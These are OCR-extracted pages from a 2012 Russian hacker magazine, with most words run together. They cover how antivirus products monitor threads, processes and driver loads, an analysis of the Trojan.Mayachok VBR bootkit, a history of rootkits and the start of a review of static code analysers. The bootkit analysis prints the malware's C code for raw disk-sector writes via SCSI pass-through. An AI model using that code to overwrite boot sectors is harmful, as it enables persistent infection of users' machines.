последовательном решении с помощью нейронной сетиуже выполненных задач и сравнении полученного результата с ужеизвестным: если они не совпадают, производится коррекция весовыхкоэффициентов связей между нейронами.ХАКЕР 02 /157/ 2012 077


MALWAREWriteProcessMemory\ CreateRemoteThreadв файле, любой, даже самый захудалый файловыйсканер, оснащенный хотя бы примитивнымэвристическим анализатором, подниметтревогу, ведь в нормальных программах такиепоследовательности вызовов API встречаютсякрайне редко. Но ведь шифрование файла,неявный вызов функций, получение адресовнужных API с помощью GetProcAddress по хешамих названий и прочие хитрости по сокрытиюи запутыванию кода никто не отменял,и поэтому с этим надо что-то делать. Крометого, при очень большом желании можно обойтисьбез WriteProcessMemory.Поэтому проактивной защите приходитсятяжело трудиться и контролироватьи функции по работе с виртуальной памятью,и функции по созданию потоков. Конечно же,перехватывать эти функции нужно в ядрес помощью драйвера. Все функции по работес виртуальной памятью основаны на функцияхNtAllocateVirtualMemory, NtFreeVirtualMemoryи NtWriteVirtualMemory, а APICreateRemoteThread — на NtCreateThread. И,например, DrWeb перехватывает их все с помощьюсвоего драйвера dwprot.sys (рисунок 7).Есть и другой способ отследить созданиепотоков — воспользоваться специальнойфункцией PsSetCreateThreadNotifyRoutine. Этафункция регистрирует функцию уведомления,которая вызывается в момент создания илиуничтожения потока (рисунок 8). Посколькуфункция уведомления вызывается в контекстепотока, который инициировал создание новогопотока, то определить инициатор и выяснить,насколько он его благонадежен, не составляеттруда.ЗА КАЖДЫМ ПРОЦЕССОМ НУЖЕНГЛАЗ ДА ГЛАЗЯ думаю, вряд ли кто-нибудь усомнится в необходимостиконтроля всех процессов, которыекрутятся в памяти компьютера, и уж тем болеео целесообразности выявления процессов,пытающихся скрыться от «всевидящегоока» Task Manager’а. Любой процесс можетоказаться зловредным, а уж тот, которыйпытается скрыть свое присутствие в системе,и вовсе потенциальный враг. Поэтому всепроцессы необходимо строжайше учитыватьРисунок 9. Использование PsSetCreateProcessNotifyRoutine в DrWeb для контроля над созданием процессови контролировать. Разработчики операционнойсистемы Windows предусмотрели многомеханизмов для получения уведомленийо наступлении каких-либо событий. О применениинекоторых из них в различных антивирусныхпрограммах я немного рассказалвыше (такие механизмы основаны на использованиифункций CmRegisterCallBackEx,RegNotifyChangeKeyValue и PsSetCreateThreadNotifyRoutine).Для регистрации функции уведомленияо создании или завершенияпроцесса предусмотрена функцияPsSetCreateProcessNotifyRoutine (PsSetCreateProcessNotifyRoutineEx начиная с Vista SP1),и большинство создателей антивирусныхсредств не считают зазорным ею пользоваться(к примеру, на рисунке 9 проиллюстрированарегистрация callback-функции в драйвереdwprot.sys от «Доктора Веба»). Операционнаясистема вызывает зарегистрированныйобработчик в двух случаях: когда процесссоздается и когда процесс завершается.В первом из них функция уведомления вызывается,когда начальный поток уже создан,но его исполнение еще не началось. Во второмслучае операционная система вызываетфункцию уведомления перед завершениемпоследнего потока в процессе. Что мы можемсделать, узнав, что какой-то процесс началсвою деятельность в операционной системе?Во-первых, мы можем просканировать всюпамять процесса, чтобы выяснить, нет ли в немвредоносного кода (о том, как это сделать,мы уже знаем из прошлой статьи). Во-вторых,пробить этот процесс по списку доверенныхи благонадежных. В-третьих, узнать, не предпринималасьли попытка создать процессс отрицательным PID, что однозначно говорито намерении скрыть такой процесс. Нуи в-четвертых, можно получить список процессовс помощью CreateToolhelp32Snapshot(или NtQuerySystemInformation на болеенизком уровне) и проверить, есть ли тамРисунок 8. Настройка функции уведомления в «Антивирусе Касперского» на реагирование на создание потока078ХАКЕР 02 /157/ 2012


Бурим антивирус. Еще глубже!Рисунок 10. PsSetLoadImageNotifyRoutine в DrWeb контролирует загрузку драйверовтолько что созданный процесс. Если его тамнет, значит, ему есть что скрывать. При этомв большинстве случаев малварь скрывает запущенныйпроцесс за счет перехвата функцииядра ZwQuerySystemInformation и фильтрациирезультатов работы этой функции. (Надеюсь,ты знаешь, чем API-функции с префиксом Zwотличаются от функций с префиксом Nt? Еслинет, срочно читай Руссиновича.) Таким образом,обнаружив, что эта функция перехваченакем-то неизвестным, срочно начинай битьтревогу.Вообще, практически все более-менеесерьезные вредоносные программы любятперехватывать различные функции, но это мыобсудим чуть позже.ЗАГРУЗКА ДРАЙВЕРАДумаю, ты знаешь, что драйвер служитне только для управления всякими устройствами,как было во времена старого доброгоMS-DOS. Для многих программ драйвер — этопуть к ядру системы, путь в ring0. Так жекак любой солдат мечтает стать генералом,любая более или менее амбициозная малварьмечтает проникнуть в ядро системы и поставитьее на колени, а самый прямой и простойспособ осуществить это — загрузка своегоспециально обученного вредоносного драйвера.В свою очередь, любой более или менееамбициозный авер просто обязан следитьза всеми драйверами в системе для борьбыс этим явлением.Первый способ, который напрашиваетсясам собой, — это контролировать загрузкудрайверов путем перехвата API-функцииNtLoadDriver. Он прост и, в общем-то, эффективен,им не брезгуют пользоваться очень многиепроизводители антивирусных программ(к примеру, Comodo, F-Secure, «ЛабораторияКасперского», которая включила этот механизмв свои антивирусы с шестой по девятуюверсию). Помимо этого, можно прибегнутьк уже знакомым нам функциям уведомления.Функция PsSetLoadImageNotifyRoutineрегистрирует функцию уведомления, котораявызывается в момент загрузки образа илиотображения образа в память. Операционнаясистема вызывает зарегистрированнуюcallback-функцию после отображения в памятьобраза, исполняемого в пользовательскомпространстве или в пространстве ядра (какраз то, что нам нужно, ведь драйвера как рази грузятся в ядро), до начала исполнения образа(рисунок 10).Кроме того, некоторые антивирусыучитывают, что для загрузки драйвера егонужно прописать его в ветке реестра HKLM\System\CurrentControlSet\Services (рисунок11). Достаточно следить за этой веткой, чтобыв случае появления там подозрительного разделас параметром Type, значение которогоравно 1, 2 или 8 (это SERVICE_KERNEL_DRIVER,SERVICE_FILE_SYSTEM_DRIVER или SERVICE_RECOGNIZER_DRIVER соответственно),своевременно поднять тревогу (рисунок 11).Надо сказать, что не все антивирусы оповещаютпользователя о загрузке драйвера.Некоторые аверы однозначно и бесповоротносчитают любой подозрительный загружаемыйдрайвер вредоносным и без спросу удаляюти сам драйвер, и программу, которая пыталасьего загрузить, после чего бодро рапортуют, чтомалварь уничтожена.Рисунок 11. Реакция «Антивируса Касперского» на загрузку драйвера от Kernel Detective 1.2.Может, он и вправду вредоносный?..ЧТО ДАЛЬШЕ?Наш главный редактор уже многозначительнопостукивает резиновой дубинкой по столу,намекая на то, что выделенное под статьюместо заканчивается. А ведь мне так хотелосьрассказать про распознавание кейлоггеров,антируткит-технологии, «песочницу», подозрительнуюсетевую активность и целостностьсистемных файлов, да и аналитическийкомпонент проактивной защиты остался безвнимания… Ну что же — жди продолжения,следующий номер не за горами. zХАКЕР 02 /157/ 2012 079


MALWAREАлександр Эккерт (stannic.man@gmail.com)VBRруткитНОВЫЙ ТИПРУТКИТОВ,ЗАРАЖАЮЩИХBOOT-СЕКТОРАУ производителейантивирусного обеспеченияпоявилась новая головнаяболь — в руки вирусописателейпопала очень необычнаяновая технология зараженияоперационной системы,использующая особенностизагрузки томов жесткого диска.Ниже мы попробуем в нейразобраться.INFOХорошие практикисистемногокодинга описаны вчетвертом изданиизамечательнойкниги «WindowsSystem Programming»,котороевышло в 2010 году.Если постараться, ееможно найти в Сети.WWWДля того чтобыприобрести оченьхорошие навыкиработы с ядромWindows, советуюпосетить www.osronline.com. Этоодин из лучшихсайтов в Сети опрограммировании вkernel mode в ядре,к тому же хорошоосвещающий кодингпод 64-битныесистемы.ы мог обратить внимание, что за последние один-два годасложность компьютерных вирусов существенно выросла.ТСоздается впечатление, что на поприще вирусмейкерстваи руткитостроения вчерашних школьников потеснили оченьсильные кодеры, которые, дали бы фору даже самим разработчикамвинды. Возникает вопрос, почему бы им, с их знаниями, неработать на хороших парней? Ответ очевиден. Ни одна антивируснаякомпания не будет платить такую зарплату, которая устроитразработчика продвинутого руткита, ведь помимо огромного баблаза разработку руткита он наверняка получает еще и процент отпартнерок по подмене выдачи или от тех, кто принуждает пользователейотправлять платные SMS-сообщения. Так что, в общем,можно не удивляться появлению таких сложных и интересныхтехнологий, как заражение VBR.ЯВЛЕНИЕ VBR-РУТКИТАС легкой руки антивирусных товарищей из Dr.Web новоявленныйруткит был назван Trojan.Mayachok. Кроме посредственногоотчета, никакой информации о нем пока нет. Мы восполним этотпробел и как следует разберем эту интересную малварь. Основнойособенностью руткита является необычный механизм заражениясистемы — можешь быть уверен, что ранее такого оригинальногоспособа в дикой природе не встречалось.Каждый раздел диска (то есть каждая партиция, иногда называемая«логический том DOS»), имеет собственную загрузочнуюзапись (Volume Boot Record, VBR) или по-другому — сектор, комукак нравится. Он отличается от Master Boot Record (MBR), котораяконтролирует процесс загрузки всего диска, однако суть их схожа.Таким образом, VBR отвечает за загрузку определенного логическоготома. Каждый VBR состоит из блока параметров диска (DiskParameter Block), который содержит специфическую информациюо томе, такую как размер, число секторов, имя тома и т.д., а такжесам код загрузки тома (Volume Boot Code), который используетсядля старта операционной системы. Этот код вызывается кодомзагрузки тома(master boot) и исполняется каждый раз, когда загружаетсяоперационная система. Более подробно о различияхи особенностях MBR и VBR в различных операционных системахможно прочитать здесь — http://thestarman.narod.ru/asm/mbr/index.html. VBR-руткит заражает код загрузки тома, подменяя списокдрайверов, грузящихся операционной системой и таким образомклассическая проверка только загрузочного сектора не можетобнаружить вредоносный объект, так как он располагается дальше— внутри VBR. VBR-руткит перехватывает прерывание INT 13h дляпросмотра содержимого секторов, считываемых с диска. Затемон загружает с диска свой драйвер и распаковывает на прежнееместо оригинальный код VBR. Управление возвращается системномузагрузчику. После этого руткит патчит ntldr, bootmgr, osloader.exe, winload.exe и т. д., в зависимости от используемого операционнойсистемой загрузчика, так как под удар попадает вся линейкаОС Windows. Определенная новизна руткита также состоит в том,что он использует не только обычные перехваты, но и аппаратныеотладочные регистры (dr0-dr7) и выполняет трассировку кода. Этонеобходимо для того, чтобы придать универсальность руткиту иобеспечить его обходом защиты целостности загрузочных модулей.Непосредственно установка драйвера и перезапись вызываетсяво время выполнения nt!KiSystemStartup, когда в системе еще непроинициализирована IDT и отключены прерывания и PatchGuard.080ХАКЕР 02 /157/ 2012


VBR-руткитДалее автор вредоносной программы прибег к изящному и нестандартномурешению: руткит патчит списки из структурыLOADER_PARAMETER_BLOCK, в частности в список LoadOrderListон добавляется как копия первого модуля в списке (а это ядроОС), а в BootDriverList как загрузочный драйвер, якобы прописанныйв ветке реестра \Registry\Machine\System\CurrentControlSet\Services\null. Сам механизм перезаписи сектора не используетникаких новых методов. Крис Касперски, например, неоднократнописал в нашем журнале о способах raw-чтения и записи информациина жесткий диск. Обычно для этого вызывается API-функцияnbtdll!DeviceIoControl с кодом IOCTL_SCSI_PASS_THROUGH_DIRECT.Предварительно заполняются блоки SCSI_PASS_THROUGH_DIRECTи SCSI_PASS_THROUGH_DIRECT_WITH_BUFFER, после чего уже посылаетсяSRB (SCSI Request Block). Руткит делает это следующимобразом:if (Flags & SCSI_IO_WRITE_SECTOR){Direction = SCSI_IOCTL_DATA_OUT;OpCode = SCSIOP_WRITE;OpCode16 = SCSIOP_WRITE16;}else{Direction = SCSI_IOCTL_DATA_IN;OpCode = SCSIOP_READ;OpCode16 = SCSIOP_READ16;}if (Spt = (PSCSI_PASS_THROUGH_DIRECT)malloc(bLen)){Sptb = (PSCSI_PASS_THROUGH_DIRECT_WITH_BUFFER)Spt;hDrive = CreateFile(Drive, ....);if (hDrive != INVALID_HANDLE_VALUE){Spt->Length = sizeof(SCSI_PASS_THROUGH_DIRECT);Spt->SenseInfoLength = SPTWB_SENSE_LENGTH;Spt->DataIn = Direction;Spt->DataTransferLength = Length;Spt->TimeOutValue = 200;Spt->DataBuffer = Buffer;Spt->SenseInfoOffset = (ULONG)((PCHAR)&Sptb->SenseInfoBuffer - (PCHAR)Sptb);if (LOBYTE(LOWORD(GetVersion())) > 5)Spt->Cdb16.OperationCode = OpCode16;elseSpt->Cdb16.OperationCode = OpCode;Spt->Cdb16.ForceUnitAccess = TRUE;// тут заполняются блоки Spt->Cdb16Spt->Cdb16.Control = 0x10;// посылаем SRB block дискуStatus = DeviceIoControl(hDrive,IOCTL_SCSI_PASS_THROUGH_DIRECT, Spt, bLen,Spt, bLen, &bRead, NULL);}free(Spt);}МУХИ И КОТЛЕТЫВ зараженную систему устанавливается полноценный драйвер,однако он всего лишь грузит дополнительную библиотеку иливо все процессы подряд, или в некий заранее выделенный (тотэкземпляр, который попал мне в руки, грузил dll во все стартующиепроцессы). Это осуществляется с помощью обычного способа,который основан на регистрации собственного нотификатораPsCreateProcessNotifyRoutine и последующем задействованиимеханизма APC. Этот способ, используется и семейством руткитаTDL/TDSS, в нем нет ничего нового, и останавливаться на немНезараженная системаСистема, зараженная VBR-руткитомнезачем. Как именно портит жизнь троян, зависит уже от самойпрогружаемой библиотеки. Так, антивирусные компании частоутверждают в тырнетах, что Mayachok представляет серьезнуюопасность. Он крадет средства со счетов сотовых абонентов,предлагая пользователям ответить на входящее SMS-сообщение.Зафиксированы случаи, когда троян подменял youtube.com,vkontakte.ru, odnoklassniki.ru, rostelecom.ru, support.akado.ru,my.mail.ru и блокировал доступ в интернет. При попытке открытьв браузере какой-либо сайт Trojan.Mayachok.1 перенаправлялпользователя на URL страницы, предлагающей «активировать»или «подтвердить» аккаунт. Для этого пользователю нужно былоуказать свой номер телефона и ответить на SMS-сообщение. Одиниз подтвержденных методов распространения этой программы— рассылка в социальной сети В Контакте, рекламирующаяпрограмму для просмотра посетителей, заходивших на страницупользователя. Это означает, что Trojan.Mayachok прогружает в процессыбраузеров свою библиотеку, которая подменяет стартовыестраницы указанных сайтов, которые просят доверчивых пользователейотправить SMS-сообщение для получения доступа к сайту.Вся закавыка в том, что сам VBR-руткит служит лишь средствомдля доставки зловредного кода и сам по себе ничего деструктивногоне несет (с точки зрения воздействия на ядро и установкидрайвера в систему).И НА СТАРУХУ НАЙДЕТСЯ САМ ЗНАЕШЬ ЧЕГО...Самое удивительное в новомодном рутките — это отсутствие хотькакой-нибудь защиты от проактивок и антивирусных программ. Иэто крайне необычно, поскольку автор руткита, со своим опытом иочень оригинальным подходом к делу, мог бы запросто прикрутитьдля защиты нечто выдающееся. Например, взять TDL с его техникойперехвата обработчиков atapi.sys, которая используется длясокрытия файлов и до сих пор ставит в тупик разработчиков антивирусныхрешений. Реализуй автор VBR-руткита нечто подобное,троян бы превратился в очень мощное оружие, бороться с которымбыло бы очень непросто. Однако, как ни странно, ничего похожегов функционале VBR-руткита нет. Может быть, автор решил сделатьзащиту в более поздних «релизах» или в версиях для более узкихкругов? К тому же выявить заражение системы очень легко (см.скрины). Да и вообще, зараженная VBR, присутствие «левого»драйвера и dll в системе, регистрация собственного нотификаторазагрузки процессов PsCreateProcessNotifyRoutine и патч заргузчика— все это палится в системе на ура.ЗАКЛЮЧЕНИЕВыходит, не такой уж сильный программист писал этот руткит. Нозато в креативности ему не откажешь. Возможно, в будущем егозамучают клиенты, и он разработает более серьезные и сложныеверсии VBR-руткита, которые будут выделяться не только уникальнымспособом заражения системы. Интересно будет посмотреть,что у него получится, — разработчики TDL/TDSS не стоят на месте,и, может быть, этот руткит тоже получит интересное техническоеразвитие. zХАКЕР 02 /157/ 2012 081


MALWAREdeeonis (deeonis@gmail.com)ИСТОРИЯруткитовОТ НАЧАЛА НАЧАЛ ДО СЕГОДНЯШНЕГО ДНЯТермин «руткит» сам по себе не означает ничего плохого. Это всего лишь утилитаили набор утилит для сокрытия какого-либо программного кода и следов его работы.Однако, так как скрываемый код обычно является вредоносным, в народе этот терминпрочно закрепился за зловредами, прячущими себя в системе. Первоначально rootkit'ыпоявились в UNIX-системах — они помогали замаскировать присутствие взломщика всистеме. Но известность они приобрели с выходом операционных систем от Microsoft. Аначалось всё еще во времена MS-DOS и стелс-вирусов…082ХАКЕР 02 /157/ 2012


История руткитов1986В 1986 году братья Амджат и Базит Алви(Amdjat и Basit Faroog Alvi) из Пакистанаразработали вирус Brain. Зловред, в телекоторого содержались имена, адреса и номерателефонов авторов, был разработан для того,чтобы наказать пиратов, ворующих софт у ихкомпании. При попытке чтения заражённогосектора Brain «подставлял» его незаражённыйоригинал, то есть фактически являлся первымстелс-вирусом в истории.Brain не только получил звание родоначальникастелс-зловредов, но и стал первымзверьком, спровоцировавшим настоящуюэпидемию, — только в США им было инфицированооколо 18 тысяч компьютеров.1990В первые годы последнего десятилетия XXвека проблема вирусов начала приобретатьглобальный характер. В 1990 году на свет появилсяпервый полиморфный вирус Chameleon,который, помимо всего прочего, использовалдля своей защиты стелс-приемчики.Chameleon успешно обходил антивирусныепрограммы тех лет и долгое время был недосягаемдля них.Во второй половине 1990-го «на волю»вырвались Frodo и Whale. Оба зловреда использовалипродвинутые стелс-технологии, аWhale был знаком с шифрованием и применялантиотладочные трюки.1992Семейство вирусов ExeHeader появилосьв 1992 году. Зловред перехватывал13h-прерывание и заражал файлы при чтении/записи сектора, если в нем оказывалсязаголовок MZ. Самым опасным из них сталExeHeader.396, который работал на уровне21h-прерывания и заражал exe-файлы при ихзапуске. Вдобавок к этому он периодическипытался испортить жесткий диск. Другие вирусысемейства ExeHeader работали с прерываниями16h, 1Ch, 2Fh.В последующие годы появилось множествостелс-вирусов под MS-DOS. Они перехватывалиразнообразные прерывания и DOSфункции.Например, олигоморфик-стелс-вирусKerplunk обрабатывал целых 23 функции:обращения к файлам, поиска, выделения иосвобождения системной памяти.1993В 1993 году вышла новая ОС от Microsoft— Windows NT 3.1, которая задала новыестандарты безопасности. Под эту операционнуюсистему некоторое время не появлялосьникаких серьезных зловредов, не говоря ужео стелс-вирусах. Продолжалось развитие вредоносногоПО для MS-DOS, который тогда былеще широко распространен.1995В 1995 году гуру Windows-программированияДжефри Рихтер (Jeffrey Richter) в своей легендарнойкниге Programming Applications forMicrosoft Windows описал технологии перехватасистемных вызовов в ring3. Впоследствииво многих вредоносах использовался код изпримеров, приведенных в этой книге.1997Первый win32-вирус, использующий стелсприемы,появился лишь в 1997-м и получилназвание Win32.Cabanas. Зловерд инфицировалPE-файлы, предварительно проверяя ихразмер. Если он был кратным 101 байту, программасчиталась зараженной. Чтобы скрытьследы своей активности, Cabanas перехватывалнесколько API-функций, в том числеFindFirstFileA, FindFirstFileW, FindNextFileAи FindNextFileW. Если файл, к которому шлообращение, был заражен, вирус реализовывалсвой полустелс-алгоритм и показывал, чтоэтот файл имеет меньшую длину.В следующие году появилось множествозловредов, использующих стелс-технологииразной степени сложности. Например, Win9x.Zerg работал только под управлением Windows95/98 и перехватывал девять функций открытия/закрытия,чтения/записи и поиска файлов.Автор BluePill Жанна Рутковская. Красивая и умнаяодновременноПри вызове некоторых из них вирус модифицировалсистемные данные таким образом,чтобы файл не выглядел инфицированным.1999В 1999 году Грег Хогланд (Greg Hoglund) создалутилиту NT Rootkit, в которой реализовалтехнику обхода системных механизмов защитыWindows. Результаты его работы были опубликованыв электронном журнале PHRACK, авсе стелс-вирусы, которые разрабатывалисьпосле этого, с легкой руки Хогланда стали называтьруткитами.В это же время вышла книга П. Дабак с соавторами«Недокументированные возможностиWindows NT» (P. Dabak et al “UndocumentedWindows NT”), которая описывала методыперехвата системных вызовов в ring0. Болееподробно эта тема освещается в книге СвенаШрайбера «Недокументированные возможностиWindows 2000», изданной в 2001 году.Black Internet Trojan запрашивает конфигурацию www.weathertalkz.comХАКЕР 02 /157/ / 2012 2 083


MALWARE2000Русский программист создал проект he4hook.Программа не содержала вредоносного кода,но умела скрывать файлы на жестком диске.Она работала на уровне ядра, но сам автор несчитал свое детище руткитом.2002В 2002 году появилась утилита HackerDefender (она же HacDef). Программа, неявлявшаяся зловредом, тем не менее предоставлялагораздо больше возможностей, чемhe4hook. HacDef умела скрывать не толькофайлы, но и ключи реестра и процессы.Утилита имела гибкие настройки и работалапреимущественно в user-mode.2003Инструмент Vanquish вышел в 2003 году.Он позволял скрывать файлы, директориии ключи реестра, но, в отличие от своихпредшественников, выполнял некоторыевредоносные действия, а именно логировалпароли. Работал Vanquish в ring3.В этом же году появился Haxdoor. Это былуже полноценный бэкдор, использовавшийруткит-технологии для своей маскировки. ПОработало в режиме ядра. Позже вышла егомодификация A-311 Death.2004В 2004 году появилась утилита FU, предназначеннаядля сокрытия процессов. ОнаЧасть кода MebromiКОММЕРЧЕСКИЕ АНТИВИРУСЫПРИ ОБНАРУЖЕНИИ РУТКИТОВБЫЛИ МЕНЕЕ ЭФФЕКТИВНЫ, ЧЕМСПЕЦИАЛИЗИРОВАННЫЕ БЕСПЛАТНЫЕУТИЛИТЫкоммерческие антируткит-утилиты. Первыеверсии таких программ были узконаправленными,например умели выявлять толькоскрытые файлы, но со временем маленькиеутилиты превратились в полноценное ПО дляобнаружения rootkit-вирусов. Такие программыобладают мощным функционалом и гибкиминастройками. К наиболее полезным изних можно отнести GMER и Rootkit Unhooker.Параллельно в недрах хакерского сообществабыла разработана технология eEyeBootRoot, породившая концептуально новыйкласс руткитов — загрузочные руткиты илибуткиты. Идея вовсе не нова, так как вирусы,записывающие себя в MBR, существовалиеще во времена MS-DOS. Правда, в миреWindows такие шалости были гораздо сложнеев реализации и опаснее.2006В 2006 году руткит-технологии начали использоватьсяв e-mail-червях и троянцах,таких как Bagle или Goldun. Один из крупнейшихботнетов того времени — Rustock —активно использовал rootkit-приемы. К концусвоей жизни спамерская сеть насчитывалаоколо двух миллионов компьютеров и моглаотправлять до 25 тысяч сообщений в час.Между тем крупные антивирусные компаниив массовом порядке стали внедрять всвои продукты модули по борьбе со всемогущимизловредами. В целом коммерческиеантивирусы при обнаружении руткитов былименее эффективны, чем специализированныебесплатные утилиты, которыми, однако,могли использоваться только профессионалами.Но и вирмейкеры не стояли на месте.Появились концепции руткитов, основанныена аппаратной виртуализации. В 2006-м ихбыло целых три: SubVirt, Vitrio и BluePill.Последняя была публично продемонстрированана конференции Black Hat Briefingsтретьего августа 2006 года в виде образцареализации для ядра Windows Vista. Этотруткит разработала Йоанна Рутковская,польский специалист по компьютернойбезопасности. Йоанна утверждала, что еетворение является «на 100 % не обнаруживаемым»,поскольку гипервизор можетобмануть любую программу детектирования.Впоследствии она же создала прореализовывалапринципиально новую технологию,основанную на изменении системныхструктур, а не путей к ним, как это делалипредыдущие программы такого типа.В это время множество вредоносныхпрограмм начали использовать код илиготовые утилиты таких руткитов, как HacDefи FU. Вирусы либо напрямую обращались кисполняемым файлам маскирующего софта,что было самым распространенным решением,либо модифицировали код опенсорныхзловредов-руткитов, основанных на Haxdoor.Haxdoor, FU и HacDef в том или ином видевстречались в 80 % руткитов того времени.Очень редко можно было встретить rootkit’ы,написанные на заказ. Качество этих уникальныхпрограмм было на высоте.2005В 2005 году руткиты распространились настолькошироко, что привлекли вниманиеСМИ и крупных компаний. Так, например, наконференции RSA Security софтостроительнаякорпорация Microsoft подняла вопрос обугрозах со стороны руткитов.В это же время начали появляться не-084ХАКЕР 02 /157/ 20122


История руткитовЗагрузочный код Mebratixграмму RedPill, позволявшую отслеживатьиспользование виртуальной машины изнепривилегированного режима и тем самымдетектировать BluePill.2007В 2007 году продолжились исследованияв области буткитов. Был создан Vbootkit, которыйпредставлял собой еще одну концептреализациюзагрузочного руткита. Программапозиционировалась в первую очередь каксредство для исследования безопасностиWindows Vista, которая тогда как раз вышла.Примерно в то же время был реализованпервый вредонос на основе этой технологии:Sinowal, или Mebroot. Многие антивирусыдолгое время ничего не могли противопоставитьэтому зловреду, и он безнаказаннобуйствовал на пользовательских ПК. Не одиндесяток антивирусных аналитиков провелмножество бессонных ноче й за изучениемкода Mebroot, который на тот момент был настоящимпрорывом.Также в 2007 году был представлен концептбиос-руткита IceLord, который мог инфицироватьоснову основ современного ПК.Конечно, для успешного заражения требовалосьсоблюдение определенных условий, ноначало было положено.2008RedPill, разработанная Жанной Рутковской,была вовсе не идеальна. Программавызвала много критики в свой адрес, и ееразработка была прекращена. Но идеи, лежавшиев основе «Красной таблетки», продолжилисвою жизнь. В 2008 группа NorthSecurity Labs сообщила о том, что средувиртуализации BluePill можно обнаружить.Специалисты рассказали, что отследитьруткит можно как по косвенным признакам,например по снижению производительностиили использованию внешнего источникавремени, так и с помощью доверенного гипервизора,который бы запускал гипервизорвредоноса, и уже из-под него анализировалруткит-активность. Последний метод гораздонадежнее.2010В 2010-м, после относительного затишьяна руткит-сцене, появилось еще несколькобуткитов: Alipop, Black Internet Trojan и GhostShadow (Mebratix.b). Первый из них имеет китайскиекорни, о чем свидетельствует устанавливаемаяим AdWare на китайском языке.Mebratix впервые обнаружили специалистыкомпании Symantec, а Black Internet Trojan вто время являлся самым распространеннымбуткитом.В августе появился первый rootkit для64-битных ОС Windows. Вирус, препарированныйаналитиками компании «ДокторВеб», получил название BackDoor.Tdss.Но, пожалуй, королем руткитов 2010 годастал Stuxnet. Его популярность обусловленав первую очередь тем, что, согласно однойтеории, этот червь создали израильскиеспецслужбы специально для противодействияядерной программе Ирана. Вредоносперехватывает и модифицирует информационныйпоток, которым обмениваютсяпрограммируемые логические контроллерымарки SIMATIC S7 и рабочие станции SCADAсистемыSIMATIC WinCC фирмы Siemens.Руткит-функции в Stuxnet отошли на второйплан.2011Второго сентября 2011-го китайская компанияQihoo 360 сообщила о новом вирусе сBIOS-руткитом Mebromi. Зловред, нацеленныйна китайских пользователей, не толькозаражает BIOS, но и модифицирует MBR,работает как руткит в ring0, инфицирует PEфайлыи выполняет функции трояна. Mebromiстал первым BIOS-руткитом после концептаIceLord, появившегося в 2007 году.ЗАКЛЮЧЕНИЕУже сейчас очевидно, что руткиты всёглубже закапываются в железо. Современныезловреды всё чаще инфицируют MBR,модифицируют BOIS и используют виртуализацию.Мне кажется, что антивирусныекомпании не в состоянии эффективно боротьсяс такими угрозами, поскольку новыетехнологии заражения пока очень слабоизучены. Поэтому самое интересное ещевпереди… zХАКЕР 02 /157/ / 2012 2 085


PreviewUNIXOID104ПОБЕДЫ И ПОРАЖЕНИЯOPENSOURCE — 2011Если попытаться в двух словах описать2011 год для мира open source, то этонаверное будут «взломы» и «патенты».Так, мы трижды писали о том, как черезSQL-инъекцию был взломан mysql.com.Не забывали рассказывать, как Microsoftи Oracle затаскали крупные компании посудам за нарушения каких-то спорныхпатентов. На фоне этих новостей как-томеркнут настоящие достижения в мире открытыхисходников: новая 3.0 версия ядраLinux, а также серьезные обновления в браузерах,Gnome и KDE, а также популярныхдистрибутивах. Мы решили рассказать онаиболее важных событиях и даже сделатьнекоторые прогнозы на будущее. Все самоеважное за год — в одном материале.КОДИНГUNIXOID88СТАТИЧЕСКИЕ АНАЛИЗАТОРЫ КОДААвтоматизируем поиск утечек памяти,выходов за границу массива, использованиянеинициализированных переменныхи других ошибок.94HOW-TO: PE-ПАКЕРВсе тонкости и хитрости разработкисвоего собственного упаковщика исполняемыхфайлов формата PE. А это уже безпяти минут криптор!110КРИПТОЛОГИЧЕСКИЙ РАЙДва десятка хардкорных трюков понестандартному использованиюпривычных OpenSSL и OpenSSH, которыеникогда не приходили тебе в голову.SYN\ACKFERRUM122РОЖДЕННЫЙ ПОД ЦИФРОЙ ВОСЕМЬНазвание Windows Server 8 являетсякодовым и еще не утверждено окончательно.Но попробовать новую сервернуюОС от MS мы можем уже сейчас.126ДОСПЕХИ ДЛЯ IT-ИНФРАСТРУКТУРЫЧто могут и чего не могу IDS/IPS?Тест-драйв 5 наиболее популярныхсистем предупреждения вторжений отизвестных вендоров.132Я ТВОЙ SANDY BRIDGE ТРУБА ШАТАЛСтоит ли покупать материнскую платуна базе нового чипсета AMD A75? Ищемответ на этот вопрос, тестируя 6 разныхматеринок.086ХАКЕР 02 /157/ 2012


Ðåêëàìàà


КОДИНГДима Осмаков (bumshmyak@yandex.ru)ОБЗОР БЕСПЛАТНЫХИНСТРУМЕНТОВДЛЯ СТАТИЧЕСКОГОАНАЛИЗА КОДАНА C/C++WWWbit.ly/zihvQ — cписокинструментовдля статическогоанализа.bit.ly/16VLIE — опцииGCC, связанныес предупреждениями.bit.ly/uEU4VQ — опцииGCC, специфичныедля предупреждений,выдаваемых припроверке кода на С++.bit.ly/uD9w0B— синтаксисрасширения дляатрибутов в GCC.bit.ly/vZpq7F —плагины для GCC.mzl.la/DWbf4 —Dehydra.bit.ly/11xRuQ — ClangStatic Analyzer.bit.ly/20g5f1—Cppcheck.bit.ly/1Z3wXP —Coccinelle.http://mzl.la/tEyXCL— DXR.Основные вопросы, обсуждаемые в статье,касаются хороших бесплатных инструментовдля поиска логических ошибок методамистатического анализа в коде на С/C++ и ихфункциональным возможностям.При статическом анализе информация о программе извлекаетсяиз её исходного кода. Извлечение происходит автоматически с помощьюспециального инструмента — статического анализатора,сама программа не запускается.Нас может интересовать самаяразная информация. Содержит ли программа логические ошибки?Будет ли программа правильно решать поставленную перед нейзадачу для всех возможных входных данных? Удовлетворяет липоведение программы формальной спецификации? Помимо вопросов,связанных с корректностью работы программы, могут возникатьвопросы, касающиеся непосредственно ее исходного кода.Удовлетворяет ли код требованиям по стилю? Содержит ли кодконструкции, которые считаются небезопасными и потенциальномогут привести к ошибкам? Также к статическим анализаторамможно отнести программы, которые визуализируют структуру кодаи помогают проводить рефакторинг.Эта статья в основном посвящена инструментам, которые помогаютискать логические ошибки в исходном коде, написанномна C/C++. Таких инструментов достаточно много, поэтому пришлосьпровести жесткий отбор. Во-первых, я сразу отбросил платныеинструменты (Covertiy, PolySpace, PVS-Studio, Microsoft \analyzeflag и многие другие). Во-вторых, исключил устаревшие, то естьтакие, для которых больше года не выпускалось обновлений.Из оставшихся я выбрал наиболее, на мой взгляд, практичные:GCC, Dehydra, Clang static analyzer, Cppcheck и Coccinelle.GCCВ качестве первого шага при выявлении логических ошибокцелесообразно провести компиляцию при максимальном уровнепредупреждений. На странице http://bit.ly/16VLIE приведены опцииGCC, отвечающие за них. Рассмотрим некоторые из этих опций.-Wall включает множество предупреждений об инструкциях,которые, скорее всего, 